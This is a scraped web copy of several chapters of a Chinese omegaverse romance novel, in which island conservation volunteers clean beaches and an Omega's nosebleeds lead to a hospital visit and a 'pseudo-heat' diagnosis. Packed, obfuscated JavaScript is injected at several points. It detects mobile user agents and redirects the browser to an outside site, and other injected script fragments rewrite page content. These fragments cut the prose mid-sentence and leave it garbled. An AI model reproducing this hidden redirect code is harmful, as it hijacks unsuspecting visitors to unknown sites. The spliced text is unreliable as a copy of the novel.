l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326492|183252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小海龟,心里软乎乎的:“等它们长大回来产卵,我们是不是还能再见到它们?” “有可能。”梨砚的目光望向远处的深海,“海龟的记忆力很好,会记得出生的沙滩。只要我们好好保护这片海,它们总会回来的。” 说话间,灯塔的轮廓越来越清晰,时夏和南阳带着甜橙橙的身影出现在灯塔下。 甜橙橙看到他们,立刻举着手里的海螺跑过来:“桃儿!梨教练!你们看我捡的海螺,能听到大海的声音。” 她把海螺递到桃楠耳边,里面传来呜呜的风声,像海浪在轻轻唱歌。“真的有声音啊。”桃楠笑着把海螺还给她,“这是大海在跟你打招呼呢。” 时夏看着桃楠和梨砚手里的贝壳,打趣道:“你们俩捡贝壳捡得比橙子还认真,是不是偷偷在比谁捡的更漂亮?” 南阳笑着补充:“我看是某人被海风吹红了脸,比贝壳还好看。” 桃楠没搭理他,赶紧把贝壳塞进兜里:“我们是在清理垃圾的时候顺便捡的。” 梨砚替他解围:“礁石区的垃圾清理得差不多了,主要是塑料瓶和渔网碎片,已经标记了位置。”他把垃圾袋递给南阳,“辛苦你们等这么久。” “没什么辛苦的,我们刚在灯塔下休息。”时夏说:“夕阳这么美,刚好等你们一起看。” 四人坐在灯塔下的礁石上,看着夕阳一点点沉入海面。天空从金红色变成粉紫色,最后染上深蓝色的墨,远处的海平线亮起第一颗星星。 海浪拍打着礁石,像在唱温柔的歌谣,把一天的疲惫都轻轻拍走。 甜橙橙举着海螺跑来跑去,一会儿把海螺凑到耳边听,一会儿又对着大海喊“小海龟晚安”,声音在礁石滩上回荡。 梨砚转头看向桃楠,发现他正望着海面出神,侧脸在霞光里柔和得像幅画。他轻轻碰了碰对方的胳膊:“在想什么?” 桃楠回过神,眼底映着星光:“在想……今天过得好充实。送小海龟回家,清理礁石,还捡到了漂亮的贝壳。”他晃了晃手里的贝壳,“好像比待在城市里有意思多了。” “海岛的每一天都不一样。”梨砚的声音很轻,“明天我们去检查珊瑚礁区,说不定能看到小丑鱼。” “真的吗?”桃楠眼睛一亮,像个期待礼物的小朋友。 “嗯。”梨砚看着他发亮的眼睛,嘴角的笑意更深了。 夕阳彻底落下,灯塔亮起温暖的光,照亮礁石滩上的人影。 南阳:“走了走了,该回去了吃饭了,晚上还要汇总数据,明天又要早起呢。” “好。”桃楠站起身,把贝壳小心翼翼地放进用品包。 梨砚跟在他身后,看着他轻快的背影。海浪在身后轻轻摇晃,晚风带着贝壳和海盐的气息,悄悄记下了这个满是星光的傍晚。 20. 去医院 一行人沿着沙滩往别墅走,灯塔的光芒在身后渐渐淡去,却在海面上拖曳出一条长长的金带,晚风卷着海盐的气息扑面而来,吹得两人的衣角轻轻扬起。 夕阳最后的余晖落在沙滩上,把脚印染成暖橘色,又被漫上来的海浪抚平。 “明天浮潜的装备我已经跟协会确认过了,面镜和呼吸管都是新的,你要是戴不惯随时跟我说。”梨砚的声音被海风揉得很轻,落在耳边像羽毛拂过。 桃楠点点头,指尖无意识地摩挲着口袋里的贝壳,贝壳的纹路硌着掌心,却让人觉得安心:“我没问题的,就是有点紧张,从来没在海里浮潜过。” “别怕,”梨砚侧过头看他,“珊瑚礁区水流很缓,我和南阳会在水里看着你们的。” 他顿了顿,笑道:“而且你游泳技术不错,下午在礁石滩帮甜橙橙捡拖鞋的时候,动作很利落。” 桃楠:“…………” 回到别墅时,厨房飘出海鲜火锅的香气,暖黄的灯光从窗户透出来,把门口的石阶染得温柔。 节目组准备了鸳鸯锅,特意给他们没回来的留了一些。清汤里煮着饱满的贝类,红汤里的大虾咕嘟咕嘟冒着泡。 时夏和南阳已经坐在了餐桌前,看到他们进来,南阳笑着招手:“就等你们俩了,快坐,刚煮好的虾最鲜。” 梨砚自然地拉过桃楠身边的椅子,等他坐下后才落座。 锅里的海鲜渐渐熟透,散发出诱人的香气,梨砚拿起公筷,夹了只最大的虾,剥好放进桃楠碗里:“趁热吃。” 桃楠说了声“谢谢”,低头咬了口虾肉,鲜甜的汁水在嘴里爆开,连带着心里都甜丝丝的。 时夏看得眼尾含笑,跟南阳交换了个了然的眼神,却没多说什么。 晚餐在轻松的氛围里结束,时夏和南阳说要去整理珊瑚礁监测资料,先一步回了房间。 客厅里很快只剩下桃楠和梨砚,两人坐在沙发上汇总白天的记录,台灯的光晕落在摊开的记录本上,把彼此的影子投在墙上,偶尔随着翻页的动作轻轻晃动。 “礁石区的垃圾坐标都标好了,”桃楠指着本子上的标记,“明天协会派人清理应该没问题。” 梨砚凑近了些,肩膀不经意间碰到桃楠的胳膊,两人都顿了一下,又默契地没移开。“这里的数据再核对一遍,” 他的指尖点在某行坐标上,“下午那块薇甘菊密集区范围可能比记录的更大,明天浮潜回来可以再去确认。” “好。”桃楠侧过头,刚好能看到他专注的侧脸,灯光勾勒出清晰的轮廓,睫毛长长的,连低头时喉结滚动的弧度都格外清晰。 忽然想起下午在礁石后贴阻隔贴的画面,他的心跳莫名快了半拍,赶紧低头假装看数据,耳根却悄悄热了起来。 窗外的海浪声断断续续传来,客厅里只剩下笔尖划过纸张的沙沙声,和彼此清浅的呼吸声。 梨砚率先整理完自己的部分,抬头时发现桃楠正对着一页数据发呆,脸颊在灯光下泛着淡淡的粉,像被夕阳染过的云朵。 “在想什么?”他轻声问,指尖无意识地敲了敲桌面。 桃楠回过神,慌忙摇头:“没、没什么,在看明天的浮潜路线。” 他把贝壳从口袋里掏出来,放在记录本上,转移话题,“下午你给我的贝壳,真的很像星星。” 贝壳在灯光下泛着温润的光泽,边缘的粉色花纹像被海浪吻过的痕迹。 梨砚看着那枚贝壳,嘴角弯起浅浅的弧度:“喜欢就好,海边还有很多不同形状的,明天浮潜看到漂亮的,我们可以捡一些。” “好。”桃楠点头,指尖还在摩挲那枚星星贝壳,“捡回来可以串成风铃,挂在窗边肯定很好听。” 话音刚落,他忽然觉得鼻腔一阵温热,抬手一摸,指腹便染上了刺目的红。 “咦?”桃楠愣了一下,连忙用手背去擦,却越擦越多,温热的液体顺着鼻尖往下淌。 “怎么了?”梨砚察觉到他的动作,抬头就看到他鼻尖的血迹,脸色瞬间沉了下来,立刻抽了纸巾递过去,“按住鼻翼,头稍微低一点,别仰头。” 桃楠慌忙按住鼻子,含糊不清地说:“可能是今天太阳太晒了,有点上火。” 他想起下午秦尤提过的医务室,“要不……我去秦尤说的那个医务室看看?” “不行。”梨砚想也没想就否决了,语气带着不容置疑的笃定,“节目组的医务室设备简陋,处理不好可能感染。” 他扶着桃楠的肩膀让他坐下,转身去厨房拿了冰块,用毛巾裹好递到他另一只手上,“冰敷额头,我去拿医药箱。” 很快,梨砚拿着医药箱回来,里面的消毒棉签和止血凝胶都是协会准备的应急用品。 他半蹲在桃楠面前,动作轻柔地帮他清理鼻尖的血迹,棉签沾了温水,避开伤口轻轻擦拭。“还在流吗?”他抬头问,眼底带着明显的担忧。 桃楠摇摇头,按住鼻翼的手松了松,果然不怎么流了。“好多了,可能就是天气太干燥。” 他看着梨砚专注的侧脸,心里有点过意不去,“麻烦你了,梨教练。” “不麻烦。”梨砚用消毒棉签仔细消毒伤口周围,又挤了一点止血凝胶轻轻涂在鼻腔入口,动作熟练又轻柔,“最近海岛紫外线强,Omega的体质可能有些敏感,白天又一直在户外活动,可能有点脱水加暴晒应激。” 他起身倒了杯温水递过去,“喝点水,补充点水分。” 桃楠接过水杯喝了两口,温热的水顺着喉咙滑下,确实觉得舒服了些。“应该没事了,不用去医院吧?”他不太想去。 梨砚皱着眉,伸手探了探他的额头,又摸了摸他的手腕,指尖搭在脉搏上停留了几秒:“脉搏有点快,脸色也发白,肯定不止是上火。” 他拿出手机拨了个电话,语气严肃,“王哥,我是梨砚,麻烦问一下协会的车能不能借我用一下?桃楠流鼻血了,我带他去艾萨普的医院检查。” 挂了电话后,他对桃楠道:“王研究员说车钥匙在门卫那里,我们现在就去医院,让医生做个详细检查,放心。” “不用这么麻烦吧……”桃楠还有点犹豫。 “听话。”梨砚的语气放软了些,却带着不容拒绝的坚持,“Omega流鼻血不能大意,万一跟信息素波动有关呢?去医院查清楚比较安全。” 他拿起沙发上的外套披在桃楠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326493|183252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身上,“晚上海边凉,披上别着凉。” 两人快步走出别墅,门卫已经把车钥匙递了过来,是一辆白色的越野车。 梨砚打开副驾驶车门让桃楠坐进去,自己绕到驾驶座,发动车子时还不忘叮嘱:“系好安全带,车程大概四十分钟,不舒服就告诉我。” 车子驶出协会大门,沿着沿海公路往前开,窗外的海浪声渐渐远去,路灯的光晕在夜色里拉出长长的线条。 桃楠靠在椅背上,看着身旁专注开车的梨砚,侧脸在夜色里显得格外可靠,心里那点因为流鼻血的慌乱,不知不觉就消散了。 “其实真的没事,”桃楠还是忍不住开口,“可能就是下午贴阻隔贴的时候太紧张,有点应激反应。” 梨砚握着方向盘的手紧了紧,侧头看了他一眼,眼底的担忧淡了些,却多了点别的情绪:“以后不舒服要第一时间告诉我,别硬撑。” 他顿了顿,声音低沉了些,“在岛上,我会照顾你。” 夜风从车窗缝隙吹进来,带着淡淡的草木清香,桃楠的心跳莫名漏了一拍,看着窗外掠过的夜色,脸颊悄悄染上了温度。或许去医院也不是什么坏事 越野车沿着沿海公路平稳行驶,车窗外的夜色越来越浓,只有远处零星的灯火和天边的星光提供微弱的光亮。 桃楠靠在副驾驶座上,手里还攥着那杯没喝完的水,冰块融化后的凉意透过杯壁传来,让他鼻腔的不适感又减轻了些。 “还好吗?有没有头晕?”梨砚时不时侧头看他一眼,语气里的担忧一点也藏不住。 “没事了,一点都不流了。”桃楠笑了笑,晃了晃手里的空冰袋,“你处理得还挺专业的。” 梨砚握着方向盘的手指紧了紧,嘴角几不可查地弯了弯:“以前在海岛做救援时,经常遇到队员中暑流鼻血,应急处理还是会的。” 他顿了顿,语气严肃了些,“但应急处理不能代替检查,Omega的身体敏感,尤其你最近信息素不太稳定,必须让医生看看。” 提到信息素,桃楠下意识摸了摸后颈的阻隔贴,那里还残留着梨砚指尖的温度。“可能真的是太晒了,” 他小声解释,“早上送小海龟的时候晒了好久,下午又一直在礁石区走动。” 梨砚没再接话,只是把车内的空调调得更温和了些,又打开了一点车窗,让微凉的晚风悄悄灌进来。 车厢里安静下来,只剩下车轮碾过路面的轻微声响,和两人清浅的呼吸声。 桃楠看着窗外掠过的树影,心里却不像刚才那么平静,梨砚的紧张比他自己还甚,那种毫不掩饰的在意,像温水一样慢慢漫过心尖。 四十分钟后,车子驶入艾萨普市的范围,路灯渐渐密集起来,偶尔能看到几家亮着灯的小店。 医院就在市中心,白色的建筑在夜色里格外显眼,门口的急诊灯牌闪烁着柔和的光。 梨砚把车停在急诊楼门口,先下车绕到副驾驶座打开车门,伸手扶了桃楠一把:“慢点,别着急。” “喂,我只是流鼻血了,”桃楠没什么表情道:“你不要把我看的这么弱。” 梨砚不知道想到了什么,朝他笑了一下,“我知道。” 21. 假性发情 医院急诊室的灯光亮得有些晃眼,接待他们的是位金发碧眼的白人女医生,胸前的铭牌写着“Dr.Claire”。 她听完梨砚的描述,目光落在桃楠后颈的阻隔贴上,语气温和专业:“Omega流鼻血有时不只是脱水,可能和腺体状态有关。最近腺体有什么异常反应吗?比如灼热、隐痛,或者对某种气味特别敏感?” 桃楠愣了一下,下意识摸了摸后颈:“有……最近靠近某些人时,后颈会隐隐发烫,昨天还用了阻隔剂和阻隔贴。” 他含糊地避开了具体对象,指尖紧张地蜷缩起来。 Dr.Claire了然地点点头,在病历本上快速记录:“这可能和信息素波动有关,需要去Omega内科做个详细检查。” 她拿起内线电话拨了号码,“请帮我转接内科的Dr.Miller,有位Omega患者需要紧急检查。” Omega内科的诊室更安静,墙面是柔和的浅蓝色。接诊的Dr.Miller是位戴眼镜的白人男性,他仔细查看了桃楠的基础数据,又让护士抽了血。 等结果出来后,他才推了推眼镜开口:“初步判断是假性发情,你的腺体对某种特定信息素产生了过度敏感的反应。” “假性发情?”桃楠没听懂这个术语,脸色有点僵。 什么叫假性发情!?他对梨砚假性发情了? “简单说,就是你的腺体误判了环境中的信息素信号,出现了类似发情期的应激反应。” Dr.Miller解释道:“流鼻血就是身体的警示,严重的话可能会头晕、晕倒,尤其是在你频繁接触那个信息素源头时。” 梨砚站在一旁,指尖不自觉地摩挲着口袋里的海螺,听到“特定信息素”时,喉结微不可查地动了动,却始终没说话。 是因为我吧………… Dr.Miller看向桃楠,语气认真了些:“你有固定伴侣吗?这种敏感通常和身边亲密的Alpha有关,或者是不是最近和某个Alpha接触频繁?” 见桃楠眼神闪躲,他补充道,“如果能确认信息素来源,让对方提供临时标记,能快速缓解症状。不然单纯用药只能暂时调节,反复接触还是会触发反应。” “临、临时标记?”桃楠的脸瞬间爆红,飞快地瞥了梨砚一眼,对方正低头看着地面,看不清表情。 他慌忙低下头,“没、没有伴侣……可能是岛上环境太陌生,对谁的信息素都有点敏感吧。” Dr.Miller没再追问,只是在处方单上写下药名:“我给你开了调节信息素敏感度的药,每天早晚各一次,还有,尽量留意身边让你腺体不适的人或环境,避开接触,要是再流鼻血或头晕,立刻来医院。” “好的,谢谢医生。”桃楠接过处方单,指尖都在发烫,捏着单子的力道几乎要把纸捏皱。 让我腺体不适的人……… 那不就是梨教练吗! 离开诊室时,两人一路沉默地走到药房取药。坐进车里后,车厢里的安静几乎能听到彼此的呼吸声。 桃楠看着窗外掠过的灯火,后颈的阻隔贴好像又开始发烫,却没敢再提医生的话。 梨砚先开了口,语气尽量自然:“医生说的可能是其他志愿者吧,你们最近接触多,难免有信息素冲突。” 他发动车子,视线落在前方的路面上,“你先吃药,要是再不舒服,我们就留意排查一下。” “嗯,好。”桃楠连忙点头,心里松了口气,又有点莫名的失落,“可能是最近天气热,加上总在户外,才这么敏感的。” 车子驶离医院,夜色里的沿海公路格外安静。 桃楠靠在副驾驶座上,偷偷用余光看梨砚,对方专注地握着方向盘,侧脸在路灯的光影里忽明忽暗,身上那股淡淡的海盐混草木的气息,似乎比白天更清晰了些。他赶紧移开视线,假装看窗外的夜景。 梨砚眼角的余光瞥见他有些发白的脸,握着方向盘的手指紧了紧,把车内的空调调高了一度:“晚上有点凉,别着凉了。” “谢谢。”桃楠小声应着,心里像被海浪反复拍打,乱乱的。 回到别墅时,已是深夜。梨砚送他到房间门口,把药递给他:“记得按时吃,药盒上有说明。” “嗯。”桃楠接过药盒,“晚安,梨教练。” “晚安。”梨砚看着他走进房间,直到门轻轻关上,才转身回了自己的房间。 他靠在门后,抬手按了按眉心,口袋里的海螺被指尖摩挲得温热。刚才在诊室里,桃楠闪躲的眼神,像羽毛一样轻轻挠在心上。 他知道是因为我了吗? 而房间里的桃楠正坐在床边看着那盒调节药,后颈的灼热感越来越清晰。 他摸了摸阻隔贴,想起医生说的“信息素源头”,又想起昨天那股闯进房间的信息素。 桃楠:“所以,那股梨花味…………真的梨教练得吗?” 但或许这样装作不知道,才是最好的吧?他拿起药盒放在床头,拉过被子盖到身上,却在海浪声里睁着眼睛,久久没能睡着。 夜色温柔,却藏着两个心照不宣的秘密,在海风里轻轻摇晃。 第二天清晨,桃楠是被一场模糊的梦惊醒的。 梦里他还是回到了小时候住的那个小渔村,咸湿的海风裹着鱼腥味扑面而来,阳光晃得人睁不开眼。 他站在一搜渔船的甲板上,身上还穿着16岁时的白T恤,衣角被海风吹得猎猎作响。 林霖正蹲在船头整理渔网,银线般的渔网在阳光下闪着光,他抬头对桃楠笑了笑,声音温和又熟悉:“阿楠,去船舱叫哥哥起床,该收网回家了。” “哥哥”两个字像羽毛轻轻搔过心尖,桃楠应了声“好”,脚步轻快地走向船舱。 木质的舱门吱呀作响,里面光线有些暗,只有舷窗透进一点柔和的光。 梦里的他好像记得对方躺在靠里的沙发上休息,于是放轻脚步,从沙发背面慢慢靠近。 沙发上果然躺着一个人,身形挺拔,穿着简单的衬衫,似乎在睡觉。 梦里的桃楠有点好奇,又有点胆怯,悄悄探出半个脑袋想看清对方的脸,可无论他怎么努力,那张脸始终笼罩在一层朦胧的光晕里。 就在他快要靠近时,对方好像醒了,桃楠呼吸骤然停顿,心里一慌,下意识想躲,可下一秒,强烈的心悸感猛地袭来,像被无形的手攥紧了心脏。 “唔……”他低吟一声,猛地睁开眼,窗外的鸟鸣声瞬间涌入耳朵,梦里的海风和鱼腥味荡然无存。 阳光透过窗帘缝隙落在床头,桃楠还躺在别墅的房间里,胸口因为刚才的心悸微微起伏。 他抬手按了按心脏,指尖有些发凉,又是梦。从小到大,他总会偶尔梦到一些记忆里没有的场景。 那张始终看不清的脸,还有靠近时莫名的心悸,每次都一模一样。 他坐起身,摸了摸后颈的阻隔贴,那里不知何时又泛起了淡淡的灼热感。 梦里那个Alpha的气息似乎还萦绕在鼻尖,像某种清冽的草木香,和……梨砚身上的味道有几分相似? 这个念头刚冒出来,桃楠就猛地摇摇头,脸颊瞬间发烫。 怎么会想到梨砚?他一定是昨天医生的话听多了,才会胡思乱想。 走进卫生间洗漱时,镜子里的自己眼下还有点淡淡的青影,大概是梦搅得没睡好。 他挤了牙膏刷牙,薄荷味的泡沫在嘴里散开,刷到一半却又想起梦里那个模糊的身影,后颈的灼热感更明显了些。 他赶紧拧开水龙头洗脸,冰凉的水拍在脸上,才稍微压下那阵莫名的燥热,对着镜子整理衣领时,他特意扯了扯后颈的阻隔贴,确认边缘没有卷边,这才深吸一口气走出卫生间。 刚收拾好,门口就传来敲门声,梨砚的声音隔着门板传来:“醒了吗?” “醒了!马上来。”桃楠应着,快步打开门,将那个未完的梦和心头的悸动,暂时都藏进了清晨的阳光里。 梨砚站在门口,穿着简单的白色T恤,额前的碎发被晨风吹得有些凌乱,手里还拿着个保温杯:“给你带了温蜂蜜水。” 他的眼底带着淡淡的笑意,显然也是刚洗漱完,发梢还带着点湿润的潮气,身上的草木清香混着薄荷牙膏的味道,清爽得让桃楠心跳漏了一拍。 “谢谢。”桃楠接过保温杯,指尖碰到对方的手指,像有微弱的电流窜过,他赶紧低头喝了口蜂蜜水,甜意顺着喉咙滑下,却没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326494|183252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 压下耳根的温度。 啧,这该死的敏感。 “对了。”梨砚说:“我们两个今天的活动改成了去资料室整理数据,协会的其他人去处理昨天的薇甘菊了。” 桃楠“啊?”了一声,然后歪头问他:“是你和协会说的吧?” 我到也没那么娇弱来着………… “嗯。”梨砚说:“你今天不适合晒太阳。” 桃楠笑道:“谢谢梨教练为我考虑。” 虽然他有些不喜欢梨砚对他的特殊对待,但也没特别在意,毕竟对方是在为他的身体考虑,而且也没让他直接休息。 两人并肩往餐厅走,清晨的别墅格外安静,走廊的窗户敞开着,海风卷着花香飘进来。 路过厨房时,桃楠看到阿姨正在煎蛋,金黄的蛋液在锅里滋滋作响,香气瞬间漫了满走廊。 梨砚忽然停下脚步,从口袋里掏出颗水果糖递给他:“医生说可以补充点糖分,青柠味的,应该不腻。” “哦,好。”桃楠接过糖纸剥开,青柠的清香在舌尖化开,他偷偷看了眼梨砚,对方正望着窗外的海景,侧脸在晨光里柔和得像幅画。 饭后俩人去资料室整理数据,阳光透过百叶窗落在摊开的记录本上,投下光影。 桃楠负责录入电子数据,梨砚则核对纸质记录,两人偶尔需要凑在一起比对坐标,桃楠总能闻到梨砚身上淡淡的草木清香混着洗漱后的薄荷味,后颈就会悄悄发烫。 有一次他起身拿文件,不小心撞到梨砚怀里,对方下意识扶住他的腰,掌心的温度透过薄薄的衣料传来,桃楠像被烫到般立刻站直,耳朵红得能滴出血。 “小心点。”梨砚的声音有些不自然,转身去翻资料。 中午休息时,梨砚去协会仓库借了台小型加湿器:“资料室太干燥,对………我们不好。”他把加湿器放在桃楠手边,水雾袅袅升起,空气中瞬间多了些湿润的气息。 他其实是想说,对他腺体不好的,但他记得,也看的出来桃楠不喜欢被特殊对待。 下午去监测海龟巢穴,梨砚特意走在桃楠身侧稍后的位置,刻意保持着半步距离。 沙滩上的阳光依旧强烈,他把遮阳帽摘下来扣在了桃楠头上:“你的防晒程度可能不够,戴着吧。” “那你怎么办?”桃楠想把帽子摘下来还给他。 “我体检的时候缺钙,需要晒太阳。”梨砚按住他的手,指尖短暂触碰后立刻收回,“你替我戴着吧,我拿在手上不方便。” 桃楠:虽然不理解为什么一个天天在海边待着的人会缺钙,但我善解人意,乐于助人。 监测到第三处巢穴时,桃楠蹲下身记录温度,后颈忽然又有点发烫,他下意识摸了摸,刚好被梨砚看到。 “不舒服?”对方立刻蹲下来,语气带着担忧,“是不是又难受了?” “没有,可能是太阳晒的。”桃楠摇摇头,却不敢看他的眼睛。梨砚身上的信息素突然随着海风飘过来,明明早上没有的。 我要不要提醒一下,让他把信息素收好啊?这样下去我撑不到晚上就又流鼻血了。 最后,桃楠担心对方怀疑,还是没提。 监测结束后,两人坐在沙滩上休息,海浪漫过脚面又退去,留下微凉的触感。 桃楠拿出药盒,倒出一粒白色药片,就着矿泉水吞下。梨砚看着他吃药的动作,忽然从背包里拿出个小风扇:“刚借的,吹吹能舒服点。” 风扇对着桃楠的后颈吹起微风,带着凉意的风驱散了灼热感,也吹散了些尴尬。 “梨教练,你不用总照顾我的。”桃楠有点不好意思。 我可是能上山下海的人!怎么能沦落到需要Alpha照顾。 “我们是队友,偶尔的互相照顾是应该的。”梨砚的目光落在远处的海浪上,声音很轻。 夕阳西下时,两人往别墅走,影子在沙滩上交叠在一起。 路过礁石区时,桃楠看到下午梨砚帮他捡的星星贝壳被放在了一块平整的礁石上,显然是对方特意留的。 他拿起贝壳,指尖摩挲着温润的纹路。 “喜欢吗?”梨砚的声音在身后响起。 桃楠:“嗯,很喜欢,像我在雪山上看到的星星。” 22. 束缚 回到别墅时,院子里已经飘起了浓郁的香气。协会的志愿者们和节目组的人正围着长桌忙碌。 南阳手里捧着一大盆金灿灿的食物,冲他们喊:“你们赶上好时候了,今天阿姨做了尼丝岛的椰子炖饭和香茅烤鸡,刚出锅。” 桃楠闻言眼睛都亮了,尼丝岛的特色炖饭他早就听人说过,用本地椰浆和香料焖煮,香气能飘出半条街。 但他刚走过去,就被秦尤拉到一边,对方压低声音,眼神往梨砚那边瞟:“你俩今天单独待了一天?” 桃楠刚想解释,但梨砚已经端着两碗饮品走了过来,把其中一碗递给了桃楠:“本地的香茅茶,解腻的,刚凉好。” 他看了眼旁边抱臂看着自己的秦尤,没什么表情的把另外一杯递给了他。 秦尤挑了挑眉,接过后没再多说,只是在梨砚转身拿餐具时,嘟囔了一句:“真是跟以前一个样子。” 晚饭时,长桌上摆满了尼丝岛的特色菜,椰香四溢的炖饭上撒着炸脆的椰丝,香茅烤鸡外皮焦脆,旁边摆着用岛上野果做的酸甜酱汁,还有清爽的蔬菜沙拉,淋着特制的椰奶dressing。 大家坐在桌前边吃边聊,甜橙橙抱怨白天清理薇甘菊时发现的奇异小昆虫,南阳还给大家讲了炖饭里用到的香料传说,气氛格外热闹。 时夏注意到桃楠吃饭时偶尔会摸后颈,问他怎么了,梨砚闻言,自然地接过话头:“医生说有点环境敏感,所以他今天就承担了整理资料任务,问题不大。” 他说着,还不忘往桃楠碗里夹了块去骨的鸡肉,“这个不辣。” 桃楠偷偷看他,发现他既然知道自己不吃姜,连挑出来的姜丝都堆在自己碟子里。 梨砚似乎是注意到了他的目光,看了眼碟子里的姜丝,又看了眼桃楠。 啧,忘记了。 “是我告诉他你不吃姜的。”秦尤戳着眼前的饭,若无其事道。 他甚至主动把装炖饭的大碗往梨砚那边推了推:“你多盛点,下午远程指导我们定位巢穴,嗓子都要说哑了。” 梨砚愣了一下,道了声谢,但秦尤已经转头去和南阳聊天了。 晚饭的热闹渐渐褪去,大家收拾着碗筷,草坪上的灯光暖融融地照下来,桃楠拉着时夏往角落的秋千走。 晚风带着草木的清香,刚好吹散了饭桌上的烟火气。 两人并肩坐在秋千上,轻轻晃着。远处甜橙橙和南阳还在争论香料传说的细节,笑声断断续续的飘过来。 桃楠踢了踢脚下的草叶,沉默了好一会儿才开口,声音有点闷:“时夏,其实昨天去医院,医生说的不是普通的环境敏感。” 时夏转头看他,月光落在桃楠脸上,能看到他紧绷的下颌线:“是因为梨砚,对吗?”他下午就觉得不对劲了,梨砚今天的紧张简直写在脸上,连给桃楠递水都小心翼翼的。 桃楠点点头,指尖无意识地抠着秋千的木缝:“医生说是假性发情,我的腺体对梨砚的信息素过度敏感了。靠近他的时候,后颈会发烫,严重的话还会流鼻血、头晕……” 他顿了顿,语气里带着点烦躁,“医生说最好的办法是让他做临时标记,或者彻底避开接触。可我怎么可能让他做那种事儿啊?” 桃楠叹了口气,继续道:“我总不能去和他说,“对不起,你以后离我远点吧,我对你的信息素敏感。”吧?我还要和他合作呢,我连合同都打印好了的。” 晚风吹乱了他的头发,他抬手抓了抓,声音里染上委屈:“你知道我最讨厌这种感觉了。从小到大我都能自己扛事,上山下海从没掉过链子,现在却因为这种莫名其妙的反应,要耽误我的工作,甚至可能需要‘依附’他才能缓解症状……这感觉糟透了。” 他想起今天梨砚把遮阳帽塞给他,自己顶着太阳走在旁边,想起对方借小风扇专门对着他后颈吹,连递水都刻意保持距离。 那些细致的照顾明明是好意,却让他觉得自己像个需要被特殊对待的易碎品。 “我宁愿像以前一样,身体不舒服就自己扛着,也不想因为这种Omega的本能反应,变得这么被动。” 桃楠低头看着自己的手,这双手能攀岩能划桨,现在却因为一点信息素波动就心慌。 时夏安静地听着,伸手拍了拍他的后背:“我知道你不想示弱,但这不是你的错啊。腺体反应又不是你能控制的,就像有人对花粉过敏,总不能怪自己体质不好吧?” 他顿了顿,轻声说:“而且梨砚照顾你,应该不是觉得你‘需要依附’,他没让你直接休息,还安排你整理资料,他刚刚回我话的时候,应该就是这个意思,想证明你只是和我们干了不一样的工作。” 桃楠没说话,刚才梨砚看他的眼神,确实没有丝毫轻视,只有对对友的担心。 可那种因为信息素而不受控制的感觉,还是像根刺扎在心里。 忽然,远处的沙滩忽然传来一阵欢快的鼓点,混着吉他声飘过来。时夏拉着桃楠站起来:“是节目组的人在沙滩唱歌,我们也去热闹热闹。” 桃楠本想拒绝,却被时夏半拖半拽地往沙滩走。越靠近沙滩,音乐声越清晰,篝火已经燃起,橘红色的火光在夜色里跳动,把周围的人影拉得忽长忽短。 节目组的艺人和志愿者们围坐成一圈,秦尤抱着把吉他坐在中间,正闭着眼唱着一首带着尼丝岛民族调式的歌谣。 他的嗓音本就带着点沙哑的磁性,唱这种民歌时格外有韵味,连几个本地居民都被吸引过来,围在圈外轻轻打着节拍。 “秦尤这嗓子绝了!”不知何时瞬移过来的南阳推了推桃楠,“你看那边,真是女大不中留。” 桃楠顺着他指的方向看去,甜橙橙正和节目组那位以飒爽闻名的女Alpha艺人手拉手跳舞。 她们踩着鼓点旋转,裙摆被海风掀起漂亮的弧度,甜橙橙的动作利落又灵动,引得周围阵阵喝彩。 本地居民里的几个姑娘也加入进来,手拉手围成小圈,脚步轻快地跳着传统舞蹈,银饰在火光下闪着光。 “来都来了,别杵着啊。”时夏拉着桃楠往人群里走,“跟着晃一晃,心情能好点。” 桃楠被他拽着加入外围的人圈,篝火的暖意驱散了海风的凉,鼓点像敲在心上,节奏越来越快。 他看着眼前载歌载舞的人们,看着甜橙橙笑得露出小虎牙的样子,心里那点郁结不知不觉散了些。 秦尤唱完最后一个音符,吉他声落下,周围爆发出热烈的掌声。 他放下吉他,冲大家笑了笑,目光扫过人群,最后落在角落里的梨砚身上,梨砚没加入跳舞,只是靠在一块礁石上,手里拿着瓶可乐,安静地看着这边。 “接下来玩游戏啊。”徐导举着个空酒瓶站起来,“转瓶子挑战,转到谁就表演个节目,或者回答一个真心话。” 酒瓶在沙地上旋转起来,大家的笑声和起哄声浪此起彼伏。时夏推了推桃楠:“不叫梨教练过来吗?” 桃楠顺着他的目光看去,刚好对上梨砚的视线,对方冲他举了举手里的瓶子,眼神在火光下显得格外温和。 他看见秦尤朝梨砚走去,两人在礁石旁低声交谈起来。 嘶…………他们两个不会打不起来吧?算了算了,让他们聊吧。 沙滩上的游戏正玩到兴头上,酒瓶刚好转到甜橙橙,她笑着站起来,拉着那位女Alpha艺人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 